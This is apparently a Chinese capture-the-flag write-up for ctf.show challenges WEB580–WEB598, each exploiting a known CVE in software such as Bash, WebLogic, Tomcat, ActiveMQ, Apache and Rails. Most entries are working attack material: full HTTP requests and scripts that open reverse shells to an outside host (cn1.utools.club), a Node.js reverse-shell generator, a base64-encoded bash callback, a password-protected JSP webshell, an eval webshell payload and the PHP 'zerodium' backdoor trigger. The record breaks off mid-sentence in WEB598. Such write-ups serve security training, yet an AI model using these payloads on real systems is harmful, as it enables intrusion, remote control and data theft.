WEB580–WEB599
WEB580 根据题目所给的提示“破壳”,那么应该是Shellshock 破壳漏洞(CVE-2014-6271) 这一题试了很多种payload,除了能看/etc/passwd,其他都没有回显或返回500,无奈只能反弹shell(还是太菜了) payload:() { :; }; /bin/bash -i >& /dev/tcp/cn1.utools.club/37634 0>&1;
发送如下数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 GET /cgi-bin/index.cgi HTTP/1 .1 Host : 7 f35523e-4939 -43 d8-8 a05-f6348618a843.challenge.ctf.show:8080 Pragma : no-cacheCache -Control: no-cacheUpgrade -Insecure-Requests: 1 lewiserii : () { :; }; /bin/bash -i >& /dev/tcp/cn1.utools.club/37634 0 >&1 ;User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/91 .0 .4472 .106 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .9 Referer : http://7 f35523e-4939 -43 d8-8 a05-f6348618a843.challenge.ctf.show:8080 /cgi-bin/victim.cgiAccept -Encoding: gzip, deflateAccept -Language: zh-CN,zh;q=0 .9 Cookie : UM_distinctid=179 eb628608d03-066 c8283766a21-f7f1939-1 bcab9-179 eb62860986dConnection : close
拿到shell
WEB581 具体可以参考CVE-2017-6920 payload:
1 content=!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:" <?php eval ($_POST [1 ]);?> ";}
只要带上!php/object 后面就会进行反序列化 写入文件后访问
WEB582 nodejsshell.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import sysif len (sys.argv) != 3 : print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0 ]) sys.exit(0 ) IP_ADDR = sys.argv[1 ] PORT = sys.argv[2 ]def charencode (string ): """String.CharCode""" encoded = '' for char in string: encoded = encoded + "," + str (ord (char)) return encoded[1 :]print "[+] LHOST = %s" % (IP_ADDR)print "[+] LPORT = %s" % (PORT) NODEJS_REV_SHELL = ''' var net = require('net'); var spawn = require('child_process').spawn; HOST="%s"; PORT="%s"; TIMEOUT="5000"; if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } function c(HOST,PORT) { var client = new net.Socket(); client.connect(PORT, HOST, function() { var sh = spawn('/bin/sh',[]); client.write("Connected!\\n"); client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); sh.on('exit',function(code,signal){ client.end("Disconnected!\\n"); }); }); client.on('error', function(e) { setTimeout(c(HOST,PORT), TIMEOUT); }); } c(HOST,PORT); ''' % (IP_ADDR, PORT)print "[+] Encoding" PAYLOAD = charencode(NODEJS_REV_SHELL)print "eval(String.fromCharCode(%s))" % (PAYLOAD)
通过nodejsshell.py生成payload 放入{"username":"_$$ND_FUNC$$_function (){生成的payload}()","password":123}
,然后base64编码加url编码 bp抓包,构造一个user并传入payload 成功反弹shell
WEB583 CVE-2016-10033 在github上找到了exp 直接打就行了
但是这里有个地方要注意 现在(6.17)github上的exp是打不通的 我把这个和以前在github上下的版本用beyond比对了一下 ! 竟然不一样,如果你用官网的打不通可以试试我这个版本 ,提取码是f3rw
WEB584 生成数字exp(将echo后的内容替换成你自己的反弹一句话)
1 2 3 payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9jbjEudXRvb2xzLmNsdWIvNDUyMTQgMD4mMQ==}|{base64,-d}|{bash,-i}' bytecode = ',' .join(str (i) for i in list (payload))print (bytecode)
payload
1 [{ "op" : "replace", " path": " T(java.lang.Runtime).getRuntime().exec(new java .lang.String (new byte []{生成的数字}))/lastname", " value": " ctfshow" }]
首先post /api/people新建一个用户,获取到id
然后通过PATCH /api/people/1,可以rce反弹shell注意Content-Type的格式
WEB585 Tomcat PUT方法任意写文件漏洞(CVE-2017-12615) 直接抓包传即可,但是要注意tomcat对文件后缀有一定验证,(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过限制。
拿到shell
jsp小马(pwd=023)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <%@ page language="java" import ="java.util.*,java.io.*" pageEncoding="UTF-8" %> <%!public static String excuteCmd (String c) { StringBuilder line = new StringBuilder ();try { Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader (new InputStreamReader (pro.getInputStream())); String temp = null ; while ((temp = buf.readLine()) != null ) { line.append(temp+"\\n" ); } buf.close(); }catch (Exception e) { line.append(e.getMessage()); }return line.toString(); } %> <%if ("023" .equals(request.getParameter("pwd" ))&&!"" .equals(request.getParameter("cmd" ))) { out.println("<pre>" +excuteCmd(request.getParameter("cmd" ))+"</pre>" ); }else { out.println(":-)" ); } %>
WEB586 wordpress环境,首先尝试弱口令,进不去,只好创建一个用户进行测试 发现里面有一篇文章介绍了这个插件漏洞 使用百度,发现对于下面这个地址的id参数(post)存在sql注入,因为没有过滤直接带入了sql语句,所以造成了sql注入 IP/wp-admin/admin-ajax.php?action=populate_download_edit_form
我用sqlmap跑出来了,也可以手注(使用load_file读文件)
WEB587 Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271) 漏洞使用了XMLDecoder来解析用户传入的XML数据,但在在解析的过程中出现反序列化漏洞,导致可执行任意命令。
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误): POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host : e40b731a-4abf-4e0b-acaf-c03997996db7.challenge.ctf.show:8080Pragma : no-cacheCache-Control : no-cacheUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://e40b731a-4abf-4e0b-acaf-c03997996db7.challenge.ctf.show:8080/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : UM_distinctid=179eb628608d03-066c8283766a21-f7f1939-1bcab9-179eb62860986dConnection : closeContent-Type : text/xmlContent-Length : 641<soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java version ="1.4.0" class ="java.beans.XMLDecoder" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > bash -i > & /dev/tcp/cn1.utools.club/45214 0> & 1</string > </void > </array > <void method ="start" /> </void > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body /> </soapenv:Envelope >
WEB588 吐槽一下:这一题的环境生成的好慢,我还以为环境坏了
Weblogic 任意文件上传漏洞(CVE-2018-2894) 利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
访问IP/ws_utc/config.do,如果进入时不是设置页面而是登陆页面可以刷新一下多试几次
设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
然后点击安全 -> 增加,然后上传webshell并找到这个文件的时间戳(可以抓包或F12查看):
然后访问IP/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell(flag在环境变量里):
WEB589 ActiveMQ任意文件写入漏洞(CVE-2016-3088)
首先访问IP/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径(账号密码为admin弱口令):
然后PUT方法上传webshell: 上传成功后可以访问看一下,发现代码直接显示了,那么就表示没有解析,需要换个目录
使用MOVE方法移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:
WEB590 Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
使用Apereo-CAS-Attack 来生成POC 然后我们登录CAS并抓包,将Body中的execution值替换成上面生成的Payload发送
WEB591 591后面都是福利题了,嘿嘿 Apache HTTPD 换行解析漏洞(CVE-2017-15715) 在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A) 访问刚才上传的/1.php%0a,发现能够成功解析
WEB592 Apache HTTPD 多后缀解析漏洞
上传的文件中只要包含.php都能被解析
WEB593 Apache SSI 远程命令执行漏洞 在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->
语法执行任意命令。
上传一个shtml文件 访问生成的文件
WEB594 Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。EXP 运行exp还需要php,python3,linux环境,下载phpggc 放在同一级目录下 使用时只需要修改exp中的URL和命令即可
WEB595 原型为PHP官方GIT服务器近日被植入的后门。 首先,后门程序会检测http头是否含有User-Agentt(不是User-Agent,多了一个t)。 如果存在,判断它的值是否含有zerodium字符串,作为触发后门的“口令”。 如果标示存在,从User-Agentt值的第8个字节起到结尾提取字符串作为代码(前8个字符为zerodium),进行编译执行,如同eval函数效果。 抓包改报文即可执行命令: User-Agentt: zerodiumsystem(‘ls /‘);
WEB596 Python PIL 远程命令执行漏洞(GhostButt ) Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。
可以看到有一个上传页面。正常功能是我们上传一个PNG文件,后端调用PIL加载图片,输出长宽。但我们可以将可执行命令EPS文件后缀改成PNG进行上传,因为后端是根据文件头来判断图片类型,所以无视后缀检查。
比如poc.png ,我们上传之,即可执行touch /tmp/aaaaa。将POC中的命令改为反弹命令(bash -c “bash -i >& /dev/tcp/ip/port 0>&1”),即可获得shell:
WEB597 Ruby On Rails 路径穿越漏洞(CVE-2018-3760) Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。
直接访问IP/assets/file:%2f%2f/etc/passwd,将会报错,因为文件/etc/passwd不在允许的目录中: 在上方的报错中随意选择一个路径利用../返回上一级,成功实现任意文件读取
WEB598 Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)
在控制器中通过render file形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd